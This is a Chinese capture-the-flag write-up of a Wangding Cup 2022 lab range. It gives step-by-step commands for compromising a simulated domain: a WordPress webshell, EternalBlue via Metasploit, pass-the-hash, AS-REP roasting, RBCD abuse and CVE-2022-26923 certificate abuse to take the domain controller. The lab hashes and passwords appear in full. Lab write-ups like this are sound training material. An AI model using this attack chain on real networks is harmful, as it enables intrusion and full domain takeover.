春秋云镜-2022网鼎杯半决赛复盘

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
./fscan_mac_arm64 -h 39.99.226.162

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.99.226.162:80 open
39.99.226.162:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.226.162 code:200 len:39988 title:XIAORANG.LAB
已完成 2/2
[*] 扫描结束,耗时: 28.701566959s

发现是一个wordprss,先看看后台能进去不,弱口令 admin /123456 直接进入

wordprss 后台getshell

改一下404.php的模版文件,添加一个一句话

蚁剑连接可以直接拿到flag

内网渗透

看下内网扫描记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
172.22.15.13:445 open
172.22.15.18:445 open
172.22.15.35:445 open
172.22.15.24:445 open
172.22.15.13:139 open
172.22.15.35:139 open
172.22.15.18:139 open
172.22.15.24:139 open
172.22.15.13:135 open
172.22.15.18:135 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.24:3306 open
172.22.15.13:88 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
[*] NetInfo
[*]172.22.15.18
[->]XR-CA
[->]172.22.15.18
[*] NetInfo
[*]172.22.15.35
[->]XR-0687
[->]172.22.15.35
[*] NetInfo
[*]172.22.15.24
[->]XR-WIN08
[->]172.22.15.24
[*] NetInfo
[*]172.22.15.13
[->]XR-DC01
[->]172.22.15.13
[+] MS17-010 172.22.15.24 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.15.35 XIAORANG\XR-0687
[*] OsInfo 172.22.15.13 (Windows Server 2016 Standard 14393)
[*] NetBios 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.15.13 [+] DC:XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetBios 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[*] WebTitle http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
[*] WebTitle http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135 title:None

整理内网信息

1
2
3
4
5
172.22.15.13 XR-DC01
172.22.15.18 80 XR-CA ADCS
172.22.15.24 80,3306 XR-WIN08 MS17-010
172.22.15.26 本机
172.22.15.35 XR-0687

永恒之蓝

先打这个ms17_010

1
2
3
4
5
proxychains4 msfconsole 
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.15.24
exploit

ri 要打两遍等的时间有点长。

我直接读取flag竟然读不到,那就抓一下hash打个pth

1
2
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
1
proxychains4 psexec.py administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk

创建个用户rdp上去看看有啥信息

1
2
net user ocean admin@123 /add
net localgroup administrators ocean /add

连上来看phpstudy里有俩数据库密码

把用户名导出来看看有没有没设置kerberos预验证的

AS-REP Roasting

1
proxychains4 impacket-GetNPUsers -dc-ip 172.22.15.13  xiaorang.lab/ -usersfile user.txt

然后爆破一下密码

1
john --wordlist=/usr/share/wordlists/rockyou.txt  hash   
1
2
1qaz2wsx  
winniethepooh

拿到密码,那就登录上去收集下域内信息。

域渗透

可以看到 lixiuying用户对xr-0687这台主机有GenericWrite 权限,那么就可以去打一下rbcd

RBCD

先来添加一个机器用户

1
proxychains4 impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name ocean\$ -computer-pass Passw0rd -dc-ip 172.22.15.13 

然后设置下委派

1
proxychains4 python3 rbcd.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'ocean$'

获取票据

1
proxychains4 python3 getST.py xiaorang.lab/'ocean$':'Passw0rd' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

然后我们打pth就行了

1
2
export KRB5CCNAME=Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache 
proxychains4 python3 psexec.py administrator@XR-0687.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13

但是会发现不成功

后来发现是自己没有添加 hosts映射加上就可以了

还剩下一个域控没打,这里应该是要打adcs,打法和MagicRelay那个靶机类似

CVE-2022–26923

在打之前还是先配一下hosts,然后去添加一个机器用户

1
proxychains4 certipy-ad account create -user 'ocean1$' -pass 'P@ssw0rd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh'

申请一个证书模版(要打两次才能成功)

1
proxychains4 certipy-ad req -u 'ocean1$@xiaorang.lab' -p 'P@ssw0rd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine'

继续按流程走下去

1
proxychains4 certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13

报错的原因是域控制器没有安装用于智能卡身份验证的证书,解决办法的话就是尝试 Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限

参考:
https://whoamianony.top/posts/pass-the-certificate-when-pkinit-is-nosupp/
https://github.com/AlmondOffSec/PassTheCert/blob/main/Python/passthecert.py

首先将pfx导出为.key 和.crt 两个文件(空密码)

1
2
3
openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt

然后利用passthecert脚本打

1
proxychains4 python3 passthecert.py -action whoami -crt ~/test.crt -key ~/test.key -domain xiaorang.lab -dc-ip 172.22.15.13

将证书配置到域控的RBCD

1
proxychains4 python3 passthecert.py -action write_rbcd -crt ~/test.crt -key ~/test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'ocean1$'

最后申请票据,然后导入票据直接连接

1
proxychains4 python3 getST.py xiaorang.lab/'ocean1$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13
1
export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache 
1
proxychains4 python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13  

成功拿到flag